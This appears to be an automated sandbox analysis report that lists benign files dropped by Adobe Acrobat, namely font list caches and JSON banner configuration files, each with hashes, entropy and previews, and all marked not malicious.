Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5636

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353571194758252
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJM3g98kUwPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGMbLUkee9
MD5:	A829820B08A527E84E6CF9F0DA8B63F9
SHA1:	C31103B47D65A5575EF76E4E086872083506BCE8
SHA-256:	A9046AC0A55CDF33CD70628806AF0EE0A37194B31441449F0E203EE4F29F74E4
SHA-512:	B506738E74FD8C77AE724DC9B40B340FD5C258E858A46D1072618D13EBD685A18E96E6D4CEFF2B46613A69640057B71AF16EAF53EAEA4520E681A01031756CD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286634639633164
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfBoTfXpnrPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGWTfXcUkee9
MD5:	7CDB15986BB3E05573C6A399590AF6E9
SHA1:	69D998B697AD467AA756FB1DE94573E1B97AD207
SHA-256:	764CB5EA57017A4D0C6FBA24174DCBBDF0C1B20760AFCB98A61C2AB247490D16
SHA-512:	E7B0AEE6C424158E1B3E0089044EB1ED5DD0F0F9374AB5513EFB0336A3D0F635F89F211F9AC67F7FD164D35FD1074D371C06B7ECDCD41A8F9E72E11A01131A02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.265959562471756
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfBD2G6UpnrPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGR22cUkee9
MD5:	295FE93BC6C4E6FD40A320BD778BF833
SHA1:	97D98B782F80A9E8B8869C5DFC7B0382039C7CC9
SHA-256:	1E1DA6F5AE0E5059A59F615752E6EEE0CF259489D0203807389C69EF993A22FB
SHA-512:	5B72FE12DBECF9F1BCF32FA3B125A153E95ADCD7D6F93FD075E549D379BA1B88E1B2CCDFCD11EF5AA3AE4C4A61EAB5319B037F2936ED5BD7D2A3595CBB7FD81C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.330176155634813
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfPmwrPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGH56Ukee9
MD5:	CF53EF86B77DB7A917FE7BC48765867B
SHA1:	FFE73863664E1BF0E3BB5D73859D2C5067B3619A
SHA-256:	7D3DEEF4FDB25597BB560E7E926997D5DB3100A51870A61806BFF62BBEBC6A77
SHA-512:	CE0D3D0E4605D3DBA894609B8D7C6A1C437396DDC405D20D35E912E71921BCB559A187CD1C7B3C0A23EB8D3CAE79D706528142B1C5246CA0E46417C3CF86BDF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683981039138819
Encrypted:	false
SSDEEP:	24:Yv6XCJhbpLgE9cQx8LennAvzBvkn0RCmK8czOCCSHV:YvbJhbhgy6SAFv5Ah8cv/HV
MD5:	9FDF9AA08FD1B252811F0301497BC9B8
SHA1:	094A8F8A33C85254D20A80554A8B0D266F5AF81B
SHA-256:	8579FC408D07233B9000E8B25AE94586F4F2F5D85C7AEF2476E395B6B69CA985
SHA-512:	6E48BBC7985285E94FE33E0710BA35820EECAE1BEF04EB8C392B4231D898A94844799847DA060851259937D74530C5952A773D413F03635DF69223AA452856E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2753271521824106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJf8dPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGU8Ukee9
MD5:	0C0CFE7101A8431474272606F6FA1C93
SHA1:	5996F75E26D38D457B55BC5166649473766D3C93
SHA-256:	DF3CF120085FF607EAFCAC1629A5E4C72B94AEE24FE32475C929420BD7659F40
SHA-512:	C4FB73C45B3C6C786B27137D19478183F36C7782329B94ECD8EDB1FB4F5554F848FE90F2C6E11EF116D718EAE5E84A0F324188E79DCE089C7BED3E1C33490447
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272548258824488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfQ1rPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGY16Ukee9
MD5:	E61F494B26254F4D447BBB39B4B4C69B
SHA1:	AFA26B0F5014B25158997758200A05AFAB870D15
SHA-256:	B2B13918A882D588A7204FC64D809B47C937916DDD0B84AB358BCA0BDAF5E6F4
SHA-512:	3660539711A93A74C4422D5D06102561B2E346BC6010C8669B3119297DAD231FA62C054DAC8C8A8790C661D499E2E08D06C6A664E612D1E2ED6891631521229F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288958829193319
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfFldPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGz8Ukee9
MD5:	2E2E941F32401B77445705935E31A046
SHA1:	DA4279BC91408C9951F406D6971EFAB951995667
SHA-256:	45BF5E1C90707671B5B734FBE589CD27DB06049B9DCFAB4204FD26E2CE1F6451
SHA-512:	A47176C33EF0FB42A71CD44C52207792AA1EAC123848F84393BC0B3C47086EA43EF660D67714E2D93B48F00BD65DD7BD79D6F706935AC828220F494E0A3934EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.303668349158296
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfzdPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGb8Ukee9
MD5:	3F770FD5975CAA0453773679D825AAC7
SHA1:	152687F17C62F397050C4C26ED25F4BFA36288EA
SHA-256:	D46CEE64094DC3D259A0388680C151188A4592F0B41102627A0ECDB31575C1DB
SHA-512:	B60365F9DABD43ABCCB7888848AA870F2CA87C706B4773B4EC31E9554668150886E57E73047EFA4C4881EB1B5284DD265D8DBA34D6E5D9999AB0F0256F931CDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283380215498089
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfYdPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGg8Ukee9
MD5:	D2AF7ACBAF74D1D3954066A376F9E8E6
SHA1:	DDAD8EA3145EC8C195D0AF1AB36088893AEFC8C1
SHA-256:	033ADECB373156AB22E637B8370CE3762B5897FDC947D5F464EBC3CD346375E1
SHA-512:	A2A002DFC71DD77F6356C6CF2B0D03274AE114F14A9E7D7266A27C9DC0F8F9A9901E59A5AC57D236C75678C663DF43D388DA3058186CC6C48CC3E826129F822A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.270240929014066
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJf+dPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVG28Ukee9
MD5:	28EB50BDA2B21DDDE11627FF9EC6FAE2
SHA1:	8EEEBE99682F1100BC321F5A377835EC946C440D
SHA-256:	99F91CE3949924B163B11B1663FCA6A0E15C04ADF518D4CC0BA28CDBBF070DB3
SHA-512:	E81C6D6DF2650D622ABD4F993129BA32308E6DB8A66C66F0DE7DEAA23717062DC586313C2F56110598EDE3C81445661F3F07D23EBB29862595142A2D31F55F03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267041538494991
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfbPtdPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGDV8Ukee9
MD5:	10AEED890972B9DACFE49ABE60B1F514
SHA1:	399193C5DF2EBFB3D1167799B15346B899D898AC
SHA-256:	E5F2B2CBA4729A6392D0569DBAD2ED2FF24FD56BFA1090050FC542B3C4949F3C
SHA-512:	EF95E66DE011CD3E6A68BD53A1FDAA44C7CC802E27C4D78F2DF380EE73A3116DBAB5D5E58DCA297F0C9B46E73AD4D7D1D74ED0C6B0EA14604246F116F439BD46
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265204695008961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJf21rPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVG+16Ukee9
MD5:	BB7C7058708E0849F66E0B9470714E3B
SHA1:	F8D77F9CE88B3C96343DBAFEA99A9A0FFB6F4412
SHA-256:	CE98DD6073B849702BE2E7E3722103B46FA7A35916167A8F1EF6138C0AACDEF8
SHA-512:	A8810A1E6238A0B2A73BC951738FF59175EBBB563E369BC17DC7F647E328FB512856C3AEF4416F7B3ADFBFF38BAB23878FAA0788DF54A93B1BDA24A8C82CC958
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658680219404084
Encrypted:	false
SSDEEP:	24:Yv6XCJhbamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSHV:YvbJhrBgkDMUJUAh8cvMHV
MD5:	8CA8AD123BB012607D6EA178EC02B3D6
SHA1:	B0239AF687F25E4924FBF4F13100821AA78A7E28
SHA-256:	E985FFFB35765481683BE2AF9BC7CF967C900B9ABA07458CDE986B8F70A42233
SHA-512:	33F6A86F2D7963581362402386173E46096C215F70A7DCC7B76EB2568EFE7FB7D2C195A1E66D58BE3F9CF91A637655D5D93094ADA00394F455D512C640FD9EDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2403556133702365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJfshHHrPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGUUUkee9
MD5:	FCAC9D63BFE252A7ED1BE51D0F1DE54C
SHA1:	ADF9C75E5E8F05A0F62339D79574A65F588B2A8E
SHA-256:	D029D3D1D913827DF7B1340401E74683C2EACA8FF1E81D4F6E3C26F8C14917C1
SHA-512:	E305B9984400DDE9094FC6F0FB4C9DA4546D9A930ABAB591C6126D20714B2A389E3A58C3CD82DFE3E3E4E5A4749FCF95145F82FE06ADD93E72858ED31C3420FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2661111545675405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXt9qeSSdYvB3/dVlPIHAR0YgeoAvJTqgFCrPeUkwRe9:YvXKXtgeSS6vR/ZwHAsVGTq16Ukee9
MD5:	55795DE7F701D25AADE42223883488E1
SHA1:	DC12B3AEB3DFF9D98B2C619B77672C40617CDA10
SHA-256:	50097EC490FF2E20299ED701EBA3EE238DF08B452597A7AA4E2155096800C3BE
